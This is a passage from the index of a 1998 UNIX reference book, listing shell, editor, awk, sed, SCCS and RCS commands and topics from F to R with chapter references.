fg command (ksh, sh) : Chapter 4, Reference: fg
fgrep command : Chapter 2, Reference: fgrep
fi command (ksh, sh) : Chapter 4, Reference: fi
fignore shell variable : 5.3.3. Predefined Shell Variables
file command : Chapter 2, Reference: file
file command (dbx) : Chapter 20, Reference: file
file command (ex) : Chapter 9, Reference: file
file creation mode mask : Chapter 2, Reference: umask
file inquiry operators (csh) : 5.4.1.5. File Inquiry Operators
filec shell variable : 5.3.3. Predefined Shell Variables
filename metacharacters : 6.1. Filenames Versus Patterns
csh shell : 5.2.2. Filename Metacharacters
sh and ksh shells : 4.2.2. Filename Metacharacters
files
access and modification times, updating : Chapter 2, Reference: touch
binary, converting for email : Chapter 2, Reference: uuencode
breaking lines of : Chapter 2, Reference: fold
calculating checksum for : Chapter 2, Reference: sum
changing permissions : Chapter 2, Reference: chmod
classifying by data type : Chapter 2, Reference: file
combining into module : Chapter 2, Reference: ld
comments in, modifying : Chapter 2, Reference: mcs
comparing
Chapter 2, Reference: comm
Chapter 2, Reference: sdiff
compiling : Chapter 2, Reference: yacc
compressing
Chapter 2, Reference: compress
Chapter 2, Reference: pack
converting
character sets in : Chapter 2, Reference: iconv
string_files into msg_files : Chapter 2, Reference: mkmsgs
into tables : Chapter 2, Reference: yacc
copying
between machines : Chapter 2, Reference: rcp
dd command : Chapter 2, Reference: dd
with remote systems : Chapter 2, Reference: uucp
from tape : Chapter 2, Reference: tar
counting words/characters/lines of : Chapter 2, Reference: wc
deleting : Chapter 2, Reference: rm
description : Chapter 2, Reference: make
displaying
by page : Chapter 2, Reference: pg
profile data for : Chapter 2, Reference: prof
editing : Chapter 2, Reference: ex
bfs command : Chapter 2, Reference: bfs
restrictions on : Chapter 2, Reference: red
emacs commands for handling : 7.2.1. File-handling Commands
email messages : (see email messages)
encoded, recreating original file : Chapter 2, Reference: uudecode
encrypting and decrypting : Chapter 2, Reference: vi
expanding : Chapter 2, Reference: unpack
formatting
Chapter 2, Reference: newform
Chapter 2, Reference: pr
formatting lines in : Chapter 2, Reference: fmt
joining similar lines of : Chapter 2, Reference: join
listing
for current directory : Chapter 2, Reference: ls
related pairs of : Chapter 2, Reference: lorder
shared objects for : Chapter 2, Reference: ldd
those to be executed : Chapter 2, Reference: which
merging lines into columns : Chapter 2, Reference: paste
moving : Chapter 2, Reference: mv
on multiple systems, commands for : Chapter 2, Reference: uux
numbering lines in : Chapter 2, Reference: nl
ownership of, changing
Chapter 2, Reference: chgrp
Chapter 2, Reference: chown
packed, displaying : Chapter 2, Reference: pcat
paging : Chapter 2, Reference: more
printing
initial lines of : Chapter 2, Reference: head
lines specified : Chapter 2, Reference: tail
pseudonyms (links) for : Chapter 2, Reference: ln
recovering after crash : Chapter 2, Reference: vi
removing information from : Chapter 2, Reference: strip
renaming : Chapter 2, Reference: mv
restoring from tape : Chapter 2, Reference: tar
revision control
RCS utility : 18. The RCS Utility
SCCS utility
17. The SCCS Utility
18.4. Conversion Guide for SCCS Users
searching contents of
for matching text : Chapter 2, Reference: fgrep
for newline/null sequence : Chapter 2, Reference: strings
by pattern-matching : Chapter 2, Reference: awk
regular expressions for : Chapter 2, Reference: grep
searching for specific : Chapter 2, Reference: find
sending to printer : Chapter 2, Reference: lp
size of : Chapter 2, Reference: size
sorting : Chapter 2, Reference: tsort
lines in : Chapter 2, Reference: sort
removing duplicate lines : Chapter 2, Reference: uniq
source, sending : Chapter 2, Reference: uuto
splitting into multiple files : Chapter 2, Reference: split
symbol tables for
printing : Chapter 2, Reference: nm
transferring to/from remote sites : Chapter 2, Reference: ftp
uncompressing
Chapter 2, Reference: uncompress
Chapter 2, Reference: zcat
updating older versions of : Chapter 2, Reference: install
write-protected, deleting : Chapter 2, Reference: rm
find command : Chapter 2, Reference: find
finger command : Chapter 2, Reference: finger
fix pseudo-command (sccs) : 17.6.2. Pseudo-commands
flowcharting function calls : Chapter 2, Reference: cflow
FMLI (Form and Message Language Interpreter) : Chapter 2, Reference: fmli
fmli command : Chapter 2, Reference: fmli
fmt command : Chapter 2, Reference: fmt
fmtmsg command : Chapter 2, Reference: fmtmsg
fold command : Chapter 2, Reference: fold
fonts
loading to Postscript files : Chapter 2, Reference: download
nroff/troff requests for : 12.5.5. Font and Character Size
for command (awk) : Chapter 11, Reference: for
for command (ksh, sh) : Chapter 4, Reference: for
foreach command (csh) : Chapter 5, Reference: foreach
Form and Message Language Interpreter : Chapter 2, Reference: fmli
formatting error messages : Chapter 2, Reference: fmtmsg
formatting files
Chapter 2, Reference: newform
Chapter 2, Reference: pr
FPATH shell variable : 4.3.3. Other Shell Variables
Framed Acceess Command Environment : Chapter 2, Reference: face
free disk space, reporting : Chapter 2, Reference: df
ftp command : Chapter 2, Reference: ftp
func command (dbx) : Chapter 20, Reference: func
function command (awk) : Chapter 11, Reference: function
function command (ksh, sh) : Chapter 4, Reference: function
function names
listing
ctags command : Chapter 2, Reference: ctags

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

g command (sed) : Chapter 10, Reference: g
G command (sed) : Chapter 10, Reference: G
gawk scripting language
11.1. Command-line Syntax
(see also awk scripting language)
gcore command : Chapter 2, Reference: gcore
gencat command : Chapter 2, Reference: gencat
generating filenames : Chapter 2, Reference: basename
get command (SCCS)
17.2.2. Retrieving a File
Chapter 17, Reference: get
getline command (awk) : Chapter 11, Reference: getline
getopts command (ksh, sh) : Chapter 4, Reference: getopts
gettxt command : Chapter 2, Reference: gettxt
glob command (csh) : Chapter 5, Reference: glob
global command (ex) : Chapter 9, Reference: global
gmon.out file : Chapter 2, Reference: cc
goto command (csh) : Chapter 5, Reference: goto
gprof command
Chapter 2, Reference: gprof
(see also lprof command; prof command)
graphics
formatting in nroff/troff : 16.3. Pic
Greek characters (Eqn preprocessor) : 16.2.4. Greek Characters
grep command : Chapter 2, Reference: grep
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
groups
displaying for user : Chapter 2, Reference: groups
file ownership for, changing : Chapter 2, Reference: chgrp
listing IDs for : Chapter 2, Reference: id
logging in to : Chapter 2, Reference: newgrp
groups command : Chapter 2, Reference: groups
gsub command (awk) : Chapter 11, Reference: gsub

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

H command (sed) : Chapter 10, Reference: H
h command (sed) : Chapter 10, Reference: h
hardpaths shell variable : 5.3.3. Predefined Shell Variables
hardware flow control modes
setting : Chapter 2, Reference: stty
hash command (ksh, sh) : Chapter 4, Reference: hash
hashstat command (csh) : Chapter 5, Reference: hashstat
head command : Chapter 2, Reference: head
help
emacs commands for : 7.2.17. Detail Information Help Commands
on-line manual : (see man pages)
help command (dbx) : Chapter 20, Reference: help
help command (SCCS) : Chapter 17, Reference: help
histchars shell variable : 5.3.3. Predefined Shell Variables
HISTFILE shell variable : 4.3.3. Other Shell Variables
history command : 5.5. Command History csh shell
history command (csh) : Chapter 5, Reference: history
history command (dbx) : Chapter 20, Reference: history
history command (ksh, sh) : Chapter 4, Reference: history
.history file : 5.2.1. Special Files
history shell variable : 5.3.3. Predefined Shell Variables
history, command
csh shell : 5.5. Command History csh shell
sh and ksh shells : 4.5. Command History
HISTSIZE shell variable : 4.3.3. Other Shell Variables
HOME environment variable : 5.3.5. Environment Variables
HOME shell variable : 4.3.3. Other Shell Variables
home shell variable : 5.3.3. Predefined Shell Variables
horizontal alignment : (see alignment/positioning)
horizontal spacing : (see whitespace)
host machine
Chapter 2, Reference: hostid
Chapter 2, Reference: hostname
hostid command : Chapter 2, Reference: hostid
hostname command
Chapter 2, Reference: hostname
(see also uuname command)
hyphenation
nroff/troff requests for : 12.5.7. Hyphenation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i command (sed) : Chapter 10, Reference: i
I/O processing commands (sed) : 10.4.3. Input/Output Processing
iconv command : Chapter 2, Reference: iconv
id command : Chapter 2, Reference: id
ident command (RCS) : Chapter 18, Reference: ident
identification keywords, SCCS : 17.3. Identification Keywords
if command (awk) : Chapter 11, Reference: if
if command (csh) : Chapter 5, Reference: if
if command (ksh, sh) : Chapter 4, Reference: if
IFS shell variable : 4.3.3. Other Shell Variables
ignore command (dbx) : Chapter 20, Reference: ignore
ignoreeof shell variable : 5.3.3. Predefined Shell Variables
images, formatting in nroff/troff : 16.3. Pic
incremental search commands (emacs) : 7.2.8. Incremental Search Commands
indentation, emacs commands for
7.2.13. Indentation Commands
7.2.16. Basic Indentation Commands
index command (awk) : Chapter 11, Reference: index
index, generating in Solaris 2.0 : Chapter 2, Reference: ptx
info pseudo-command (sccs) : 17.6.2. Pseudo-commands
input modes, setting : Chapter 2, Reference: stty
insert command (ex) : Chapter 9, Reference: insert
insert mode (vi) : 8.1.3. Insert Mode
install command : Chapter 2, Reference: install
int command (awk) : Chapter 11, Reference: int
integer command (ksh, sh) : Chapter 4, Reference: integer
interactive conversation
Chapter 2, Reference: talk
Chapter 2, Reference: write
internationalizing : Chapter 2, Reference: exstr
Internet directory, searching : Chapter 2, Reference: whois
interprocess communication facilities : Chapter 2, Reference: ipcs
invoking the shell
4.8. Invoking the Shell
5.8. Invoking the Shell
ipcrm command : Chapter 2, Reference: ipcrm
ipcs command : Chapter 2, Reference: ipcs
ismpx command
Chapter 2, Reference: ismpx
(see also layers command)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

job control
for csh shells : 5.7. Job Control
for sh and ksh shells : 4.7. Job Control
in shell scripts : Chapter 2, Reference: jsh
jobs command (csh) : Chapter 5, Reference: jobs
jobs command (ksh, sh) : Chapter 4, Reference: jobs
join command : Chapter 2, Reference: join
join command (ex) : Chapter 9, Reference: join
jsh : 4.7. Job Control
jsh command : Chapter 2, Reference: jsh
jterm command
Chapter 2, Reference: jterm
(see also layers command)
jwin command : Chapter 2, Reference: jwin

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

k command (ex) : Chapter 9, Reference: k
keylogin command
Chapter 2, Reference: keylogin
(see also chkey command; keylogout command)
keylogout command
Chapter 2, Reference: keylogout
(see also chkey command; keylogin command)
keywords, RCS : 18.3.1. Keyword Substitution
keywords, SCCS : 17.3. Identification Keywords
kill command : Chapter 2, Reference: kill
kill command (csh) : Chapter 5, Reference: kill
kill command (dbx) : Chapter 20, Reference: kill
kill command (ksh, sh) : Chapter 4, Reference: kill
ksh (Korn shell) : 4. The Bourne Shell and Korn Shell
arithmetic expressions : 4.4. Arithmetic Expressions
built-in commands, list of : 4.6. Built-in Commands (Bourne and Korn Shell)
compared to sh and csh : 3.5. Differing Features
coprocesses : 4.2.6. Coprocesses
invoking shell : 4.8. Invoking the Shell
job control : 4.7. Job Control
setting restrictions on
Chapter 2, Reference: rksh
4.9. Restricted Shells
variables : 4.3. Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

l command (sed) : Chapter 10, Reference: l
LANG shell variable : 4.3.3. Other Shell Variables
language command (dbx) : Chapter 20, Reference: language
layers
multiple, controlling from one terminal : Chapter 2, Reference: shl
in windowing terminals, resetting : Chapter 2, Reference: jterm
layers command : Chapter 2, Reference: layers
ld command : Chapter 2, Reference: ld
ldd command : Chapter 2, Reference: ldd
length command (awk) : Chapter 11, Reference: length
let command (ksh, sh) : Chapter 4, Reference: let
lex command
Chapter 2, Reference: lex
(see also yacc command)
lexical analysis programs, generating : Chapter 2, Reference: lex
limit command (csh) : Chapter 5, Reference: limit
line breaks, nroff/troff requests and : 12.3.3. Requests That Cause a Line Break
line command : Chapter 2, Reference: line
line information commands (sed) : 10.4.2. Line Information
line numbers
nroff/troff requests for : 12.5.9. Line Numbering
line-edit mode : 4.5.1. Line-edit Mode
LINENO shell variable : 4.3.2. Built-in Shell Variables
lines
breaking : Chapter 2, Reference: fold
counting in files : Chapter 2, Reference: wc
numbering in files : Chapter 2, Reference: nl
reading from standard input : Chapter 2, Reference: line
LINES shell variable : 4.3.3. Other Shell Variables
links
creating for files : Chapter 2, Reference: ln
editors : Chapter 2, Reference: ld
lint command : Chapter 2, Reference: lint
list command (dbx) : Chapter 20, Reference: list
list command (ex) : Chapter 9, Reference: list
listing files
in archives : Chapter 2, Reference: ar
to be executed : Chapter 2, Reference: which
for current directory : Chapter 2, Reference: ls
ln command : Chapter 2, Reference: ln
loading fonts to Postscript files : Chapter 2, Reference: download
local modes, setting : Chapter 2, Reference: stty
log command (awk) : Chapter 11, Reference: log
logged-in users
displaying list : Chapter 2, Reference: users
report on : Chapter 2, Reference: rwho
logging in
as another user : Chapter 2, Reference: su
changing to current window : Chapter 2, Reference: relogin
displaying name : Chapter 2, Reference: logname
to groups : Chapter 2, Reference: newgrp
logical operators (csh) : 5.4.1.3. Bitwise and Logical Operators
login command : Chapter 2, Reference: login
login command (csh) : Chapter 5, Reference: login
.login file : 5.2.1. Special Files
login sessions : (see sessions)
logname command : Chapter 2, Reference: logname
LOGNAME environment variable : 5.3.5. Environment Variables
logout command (csh) : Chapter 5, Reference: logout
.logout file : 5.2.1. Special Files
lorder command : Chapter 2, Reference: lorder
lowercase : (see case)
lp command : Chapter 2, Reference: lp
lpq command : Chapter 2, Reference: lpq
lpr command : Chapter 2, Reference: lpr
lprm command : Chapter 2, Reference: lprm
lprof command
Chapter 2, Reference: lprof
(see also gprof command; prof command)
lpstat command : Chapter 2, Reference: lpstat
lptest command : Chapter 2, Reference: lptest
ls command : Chapter 2, Reference: ls

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

M- commands (emacs) : 7.3.2. Meta-key Sequences
m4 : Chapter 2, Reference: m4
m4 command : Chapter 2, Reference: m4
machine faults
tracing : Chapter 2, Reference: truss
macro commands (emacs) : 7.2.15. Macro Commands
macro names, listing : Chapter 2, Reference: ctags
macros
Eqn preprocessor : 16.2.1. Eqn Macros
for make utility : 19.3. Macros
pic preprocessors : 16.3.1. Pic Macros
processing, nroff/troff requests for : 12.5.10. Macro and String Processing
processor for program files : Chapter 2, Reference: m4
Tbl preprocessor : 16.1.2. Tbl Macros
mail : (see email; email messages)
mail command : Chapter 2, Reference: mail
MAIL environment variable : 5.3.5. Environment Variables
mail shell variable : 5.3.3. Predefined Shell Variables
MAIL shell variable : 4.3.3. Other Shell Variables
mailalias command : Chapter 2, Reference: mailalias
MAILCHECK shell variable : 4.3.3. Other Shell Variables
MAILPATH shell variable : 4.3.3. Other Shell Variables
mailx command : Chapter 2, Reference: mailx
make command : Chapter 2, Reference: make
make command (dbx) : Chapter 20, Reference: make
make utility : 19. The make Utility
makefiles
overriding : Chapter 2, Reference: make
updating : Chapter 2, Reference: install
makekey command : Chapter 2, Reference: makekey
man command : Chapter 2, Reference: man
man pages
displaying : Chapter 2, Reference: man
displaying command descriptions in : Chapter 2, Reference: whatis
keyword lookup : Chapter 2, Reference: apropos
MANPATH environment variable : Chapter 2, Reference: man
map command (ex) : Chapter 9, Reference: map
margins, nroff/troff requests for : 12.5.14. Text Adjustments
mark command (ex) : Chapter 9, Reference: mark
match command (awk) : Chapter 11, Reference: match
mathematics
characters for (Eqn preprocessor) : 16.2.2. Mathematical Characters
equations, formatting in nroff/troff : 16.2. Eqn
mcs command : Chapter 2, Reference: mcs
me macros : 15. me Macros
measurements for nroff/troff : 12.3.2. Specifying Measurements
memory (disk space) : Chapter 2, Reference: df
merge command (RCS) : Chapter 18, Reference: merge
mesg command : Chapter 2, Reference: mesg
messages, email : (see email messages)
messages, error : Chapter 2, Reference: fmtmsg
Meta-key commands (emacs) : 7.3.2. Meta-key Sequences
metacharacters
for filenames
csh shell : 5.2.2. Filename Metacharacters
sh and ksh shells : 4.2.2. Filename Metacharacters
for pattern matching : 6.1. Filenames Versus Patterns
mkdir command : Chapter 2, Reference: mkdir
mkmsgs command : Chapter 2, Reference: mkmsgs
mm macros : 13. mm Macros
modes
clock, setting : Chapter 2, Reference: stty
combination, setting : Chapter 2, Reference: stty
hardware flow control : Chapter 2, Reference: stty
input : Chapter 2, Reference: stty
local : Chapter 2, Reference: stty
output : Chapter 2, Reference: stty
Telnet : Chapter 2, Reference: telnet
modules command (dbx) : Chapter 20, Reference: modules
mon.out file : Chapter 2, Reference: cc
more command : Chapter 2, Reference: more
move command (ex) : Chapter 9, Reference: move
moving
directories and files : Chapter 2, Reference: mv
files in archives : Chapter 2, Reference: ar
ms macros : 14. ms Macros
multiplexor
testing standard input for : Chapter 2, Reference: ismpx
mv command : Chapter 2, Reference: mv

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n command (sed) : Chapter 10, Reference: n
N command (sed) : Chapter 10, Reference: N
nawk scripting language
Chapter 2, Reference: nawk
11.1. Command-line Syntax
(see also awk scripting language)
newform command
Chapter 2, Reference: newform
(see also cut command; paste command)
newgrp command : Chapter 2, Reference: newgrp
newgrp command (ksh, sh) : Chapter 4, Reference: newgrp
news command : Chapter 2, Reference: news
news directory, accessing : Chapter 2, Reference: news
next command (awk) : Chapter 11, Reference: next
next command (dbx) : Chapter 20, Reference: next
next command (ex) : Chapter 9, Reference: next
nexti command (dbx) : Chapter 20, Reference: nexti
nice command : Chapter 2, Reference: nice
nice command (csh) : Chapter 5, Reference: nice
nl command : Chapter 2, Reference: nl
nm command : Chapter 2, Reference: nm
nobeep shell variable : 5.3.3. Predefined Shell Variables
noclobber shell variable : 5.3.3. Predefined Shell Variables
noglob shell variable : 5.3.3. Predefined Shell Variables
nohup command : Chapter 2, Reference: nohup
nohup command (csh) : Chapter 5, Reference: nohup
nohup command (ksh, sh) : Chapter 4, Reference: nohup
nonomatch shell variable : 5.3.3. Predefined Shell Variables
notify command : Chapter 2, Reference: notify
notify command (csh) : Chapter 5, Reference: notify
notify shell variable : 5.3.3. Predefined Shell Variables
nroff program : 12. Nroff and Troff
eliminating .so requests : Chapter 2, Reference: soelim
preprocessors of : 16. Preprocessors
requests, list of : 12.4. Default Operation of Requests
null commands : Chapter 2, Reference: true
number command (ex) : Chapter 9, Reference: number
number registers
in mm macros : 13.3. Number Registers Used in mm
for ms macros
14.2. Number Registers for Page Layout
14.4. Reserved Number Register Names
in nroff/troff : 12.5.11. Number Registers
numbering lines in files : Chapter 2, Reference: nl
numbering revisions (RCS) : 18.3.4. Revision Numbering
numbers
prime factors : Chapter 2, Reference: factor
numbers, converting units of : Chapter 2, Reference: units

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

oawk scripting language : (see awk scripting language)
object files
generating : Chapter 2, Reference: as
removing information from : Chapter 2, Reference: strip
octal dumps, producing : Chapter 2, Reference: od
od command : Chapter 2, Reference: od
OLDPWD shell variable : 4.3.2. Built-in Shell Variables
on-line manual : (see man pages)
onintr command (csh) : Chapter 5, Reference: onintr
open command (ex) : Chapter 9, Reference: open
openwin command : Chapter 2, Reference: openwin
OpenWindows
configuring : Chapter 2, Reference: openwin
programs and utilities : Chapter 2, Reference: openwin
operators, awk : 11.5. Operators
operators, C shell : 5.4.1. Operators
OPTARGET shell variable : 4.3.2. Built-in Shell Variables
OPTIND shell variable : 4.3.2. Built-in Shell Variables
output modes, setting : Chapter 2, Reference: stty
output processing commands (sed) : 10.4.3. Input/Output Processing
ownership of files, changing : Chapter 2, Reference: chown
ownership, file
changing : Chapter 2, Reference: chgrp

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

p command (sed) : Chapter 10, Reference: p
P command (sed) : Chapter 10, Reference: P
pack command : Chapter 2, Reference: pack
packed files, displaying : Chapter 2, Reference: pcat
page command : (see more command)
PAGER environment variable : Chapter 2, Reference: man
pagination, nroff/troff requests for : 12.5.12. Pagination
paging files : Chapter 2, Reference: more
paragraphs, emacs commands for : 7.2.4. Paragraphs and Regions
passwd command : Chapter 2, Reference: passwd
passwd file
4.2.1. Special Files
5.2.1. Special Files
passwords
changing : Chapter 2, Reference: passwd
chkey command : Chapter 2, Reference: chkey
creating : Chapter 2, Reference: passwd
displaying information : Chapter 2, Reference: passwd
for files : Chapter 2, Reference: crypt
prompting for : Chapter 2, Reference: keylogin
paste command : Chapter 2, Reference: paste
PATH environment variable : 5.3.5. Environment Variables
PATH shell variable : 4.3.3. Other Shell Variables
path shell variable : 5.3.3. Predefined Shell Variables
pathname modifiers : 5.3.2.1. Examples Using Pathname Modifiers
pattern matching : 6. Pattern Matching
patterns, awk : 11.3. Patterns and Procedures
pcat command : Chapter 2, Reference: pcat
permissions
changing : Chapter 2, Reference: chmod
for sending email : Chapter 2, Reference: mesg
pg command : Chapter 2, Reference: pg
Pic preprocessor : 16.3. Pic
popd command (csh) : Chapter 5, Reference: popd
positioning : (see alignment/positioning)
Postscript files
adding a font to : Chapter 2, Reference: download
creating from troff files
dpost command : Chapter 2, Reference: dpost
PPID shell variable : 4.3.2. Built-in Shell Variables
pr command : Chapter 2, Reference: pr
predefined shell variables
csh shell : 5.3.3. Predefined Shell Variables
sh and ksh shells : 4.3.2. Built-in Shell Variables
preprocessors for nroff/troff system : 16. Preprocessors
preserve command (ex) : Chapter 9, Reference: preserve
prime factors : Chapter 2, Reference: factor
primitives, Pic preprocessor : 16.3.3. Primitives
print command (awk) : Chapter 11, Reference: print
print command (dbx) : Chapter 20, Reference: print
print command (ex) : Chapter 9, Reference: print
print command (ksh, sh) : Chapter 4, Reference: print
print pseudo-command (sccs) : 17.6.2. Pseudo-commands
printenv command : Chapter 2, Reference: printenv
printers, testing : Chapter 2, Reference: lptest
printf command : Chapter 2, Reference: printf
printf command (awk) : Chapter 11, Reference: printf
printing
banners : Chapter 2, Reference: banner
cancelling print requests
cancel command : Chapter 2, Reference: cancel
current system name : Chapter 2, Reference: uname
environment variable values : Chapter 2, Reference: printenv
file creation mode mask : Chapter 2, Reference: umask
files : Chapter 2, Reference: lp
from archives : Chapter 2, Reference: ar
cat command : Chapter 2, Reference: cat
lines specified : Chapter 2, Reference: tail
log files
of copied files : Chapter 2, Reference: uulog
queue
displaying : Chapter 2, Reference: lpq
removing requests from : Chapter 2, Reference: lprm
status of : Chapter 2, Reference: lpstat
sending files : Chapter 2, Reference: lpr
strings : Chapter 2, Reference: printf
system names known to uucp : Chapter 2, Reference: uuname
system usage information : Chapter 2, Reference: uptime
terminal capability : Chapter 2, Reference: tput
terminal device name : Chapter 2, Reference: tty
privileges, termination of user processes : Chapter 2, Reference: shutdown
procedures, awk : 11.3.2. Procedures
processes
controlling : (see job control)
terminating IDs : Chapter 2, Reference: kill
prof command : Chapter 2, Reference: prof
profile data
displaying
for C programming : Chapter 2, Reference: gprof
for files : Chapter 2, Reference: prof
for programs generally : Chapter 2, Reference: lprof
.profile file
4.2.1. Special Files
(see also shell variables)
programs
aborted
debugging resulting files : Chapter 2, Reference: sdb
debugging : 20. Program Debugging
displaying profile data for : Chapter 2, Reference: lprof
lexical analysis
generating : Chapter 2, Reference: lex
prompt shell variable : 5.3.3. Predefined Shell Variables
prs command (SCCS) : Chapter 17, Reference: prs
data keywords for : 17.4. Data Keywords
ps command : Chapter 2, Reference: ps
PS1..PS4 shell variables : 4.3.3. Other Shell Variables
pseudo-commands, SCCS : 17.6. sccs and Pseudo-commands
ptx command : Chapter 2, Reference: ptx
pushd command (csh) : Chapter 5, Reference: pushd
put command (ex) : Chapter 9, Reference: put
putting commands (sed) : 10.4.4. Yanking and Putting
pwd command : Chapter 2, Reference: pwd
pwd command (dbx) : Chapter 20, Reference: pwd
pwd command (ksh, sh) : Chapter 4, Reference: pwd
PWD environment variable : 5.3.5. Environment Variables
PWD shell variable : 4.3.2. Built-in Shell Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q command (sed) : Chapter 10, Reference: q
queued jobs, obtaining reports on : Chapter 2, Reference: uustat
quit command (dbx) : Chapter 20, Reference: quit
quit command (ex) : Chapter 9, Reference: quit
quoting
csh shell : 5.2.3. Quoting
sh and ksh shells : 4.2.3. Quoting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r command (ksh, sh) : Chapter 4, Reference: r
r command (sed) : Chapter 10, Reference: r
rand command (awk) : Chapter 11, Reference: rand
RANDOM shell variable : 4.3.2. Built-in Shell Variables
rcp command : Chapter 2, Reference: rcp
rcs command (RCS) : Chapter 18, Reference: rcs
RCS subdirectory : 18.2. Basic Operation
RCS utility : 18. The RCS Utility
keyword substitution : 18.3.1. Keyword Substitution
revision numbering : 18.3.4. Revision Numbering
SCCS commands equivalents : 18.4. Conversion Guide for SCCS Users
rcsclean command (RCS) : Chapter 18, Reference: rcsclean
rcsdiff command (RCS)
18.2. Basic Operation
Chapter 18, Reference: rcsdiff
rcsfreeze command (RCS) : Chapter 18, Reference: rcsfreeze
RCSINIT environment variable : 18.3.7. Standard Options
rcsmerge command (RCS) : Chapter 18, Reference: rcsmerge
read command (ex) : Chapter 9, Reference: read
